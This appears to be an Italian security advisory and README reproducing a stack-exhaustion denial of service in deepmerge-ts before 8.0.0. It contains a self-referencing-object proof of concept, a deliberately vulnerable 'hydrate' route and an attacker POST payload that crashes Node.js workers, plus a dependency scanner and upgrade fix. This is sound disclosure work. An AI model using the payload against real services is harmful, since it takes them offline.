
Riproduce un denial-of-service per esaurimento dello stack in deepmerge-ts precedente alla 8.0.0, documenta lo sfruttamento e include uno scanner per gli intervalli di dipendenze vulnerabili.
Ho riprodotto un bug di esaurimento dello stack nelle versioni di deepmerge-ts precedenti alla 8.0.0.
La parte interessante è che il crash non richiede un enorme oggetto annidato. Deriva dall'identità degli oggetti. Se entrambi i valori da unire puntano a sé stessi attraverso la stessa proprietà, la routine di merge continua a visitare la stessa coppia finché Node.js non esaurisce lo spazio dello stack.
Advisory: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 Severity: High Impact: Availability
La maggior parte dei test di merge usa dati JSON ordinari:
{
user: {
name: "alice"
}
}
Questi dati sono aciclici. Gli oggetti JavaScript possono anche contenere riferimenti a sé stessi o a un altro oggetto nello stesso grafo. Questi casi sono facili da non notare se la suite di test usa solo fixture JSON.
Il grafo minimo che causa il fallimento è composto da due oggetti separati con lo stesso auto-riferimento:
const left = {};
left.self = left;
const right = {};
right.self = right;
Il merge dei record scorre le chiavi enumerabili, raccoglie i valori per ogni chiave e chiama di nuovo la routine di merge per quei valori. Nelle release interessate non c'è alcun controllo dei cicli né alcuna traccia delle coppie di oggetti già viste.
La chiave self riporta l'esecuzione nello stesso stato:
deepmerge(left, right)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> RangeError: Maximum call stack size exceeded
Lo stesso comportamento è raggiungibile tramite deepmergeInto, deepmergeCustom e deepmergeIntoCustom quando ricevono lo stesso tipo di grafo.
Il pacchetto è fissato alla release affetta 7.1.6 in package.json.
npm install
npm run poc
Il test completo è in poc.mjs. Esegue entrambe le API pubbliche in locale e cattura l'atteso RangeError così il risultato è facile da leggere.
La parte importante del PoC è:
import { deepmerge } from "deepmerge-ts";
function recursiveRecord() {
const record = {};
record.self = record;
return record;
}
deepmerge(recursiveRecord(), recursiveRecord());
Output atteso:
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded
Il PoC restituisce successo quando viene osservato il comportamento affetto. Se il pacchetto viene aggiornato ed entrambe le chiamate terminano, stampa un risultato pulito ed esce con stato 1 perché il problema non è stato riprodotto.
Non esiste un payload JSON ciclico magico. Un normale parser JSON crea un grafo aciclico, quindi questo non viene innescato semplicemente inviando un corpo JSON molto profondo a:
deepmerge(defaults, req.body);
L'applicazione deve creare o preservare il ciclo prima di chiamare la funzione di merge. Questo può accadere nel codice di idratazione del grafo, in un deserializzatore che preserva i riferimenti, nel riutilizzo di oggetti di cache o sessione, o in logica personalizzata che collega record tra loro.
Ecco un piccolo esempio di integrazione vulnerabile. La funzione hydrate trasforma un flag controllato dall'utente in un auto-riferimento:
import { deepmerge } from "deepmerge-ts";
function hydrate(input) {
const object = { value: input.value };
if (input.self === true) object.self = object;
return object;
}
function mergeRequest(body) {
const left = hydrate(body.left);
const right = hydrate(body.right);
return deepmerge(left, right);
}
Se una route HTTP chiama mergeRequest, un attaccante può inviare:
POST /merge
Content-Type: application/json
{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}
Entrambi i lati ora contengono un riferimento self. Quando la route chiama deepmerge(left, right), la libreria segue left.self e right.self, riceve di nuovo la stessa coppia e ricorre finché V8 non lancia un'eccezione.
Un'applicazione non deve necessariamente usare questa esatta funzione hydrate. Le condizioni importanti sono:
Se la route è pubblica e l'eccezione non viene catturata, una singola richiesta può fermare il worker Node.js. Se un supervisore di processo lo riavvia automaticamente, richieste ripetute possono mantenere il servizio in un ciclo di riavvio. Se è richiesta l'autenticazione, l'attaccante deve comunque avere accesso a quella route.
Questo è un problema di denial of service. Il bug non fornisce esecuzione di codice, accesso ai file o un modo per leggere l'input di merge di un'altra richiesta.
Questa distinzione è importante quando si valuta un'applicazione reale. Il seguente corpo della richiesta non è di per sé un ciclo:
{
"self": true
}
Diventa rilevante solo se il codice dell'applicazione interpreta self: true come un riferimento all'oggetto radice, o se un altro parser ripristina i riferimenti agli oggetti. Il pacchetto dovrebbe comunque gestire il grafo risultante in sicurezza, ma la sfruttabilità remota dipende dal codice attorno al pacchetto.
L'impatto diretto è la disponibilità, tramite esaurimento sincrono dello stack.
A seconda dell'applicazione circostante, il risultato può essere:
RangeErrorNon c'è alcun impatto sulla riservatezza o sull'integrità in questo problema di per sé. La gravità aumenta quando la route di merge non è autenticata, è raggiungibile da internet pubblico o viene ritentata automaticamente da un altro servizio.
Ho aggiunto scanner.mjs per trovare i riferimenti alle dipendenze interessate prima di eseguire il PoC del crash. Controlla:
package.jsonpackage-lock.jsonnpm-shrinkwrap.jsonpnpm-lock.yamlEseguilo su una directory di progetto:
node scanner.mjs /path/to/project
Per CI o altri strumenti, usa l'output JSON:
node scanner.mjs /path/to/project --json
Esempio di risultato per questo repository:
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6
Lo scanner esce con stato 1 quando trova una versione o un intervallo interessato. Gli URL Git e altre fonti non-semver vengono contrassegnati come REVIEW invece di essere trattati silenziosamente come sicuri.
La correzione diretta è aggiornare a deepmerge-ts >= 8.0.0 e aggiornare il lockfile.
npm install deepmerge-ts@^8.0.0
L'applicazione dovrebbe anche decidere come gestire l'input ricorsivo. Le opzioni ragionevoli sono:
Catturare l'errore è utile per la stabilità del processo, ma non rimuove il denial of service sottostante se un attaccante può ripetere la richiesta. Aggiornare la dipendenza e gestire l'input ricorsivo sono le correzioni importanti.
Cambia la dipendenza a 8.0.1, reinstalla ed esegui lo stesso PoC:
npm install [email protected]
npm run poc
Sulla release corretta entrambe le chiamate terminano e lo script stampa:
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.
Il PoC e lo scanner in questo repository sono rilasciati sotto la MIT License.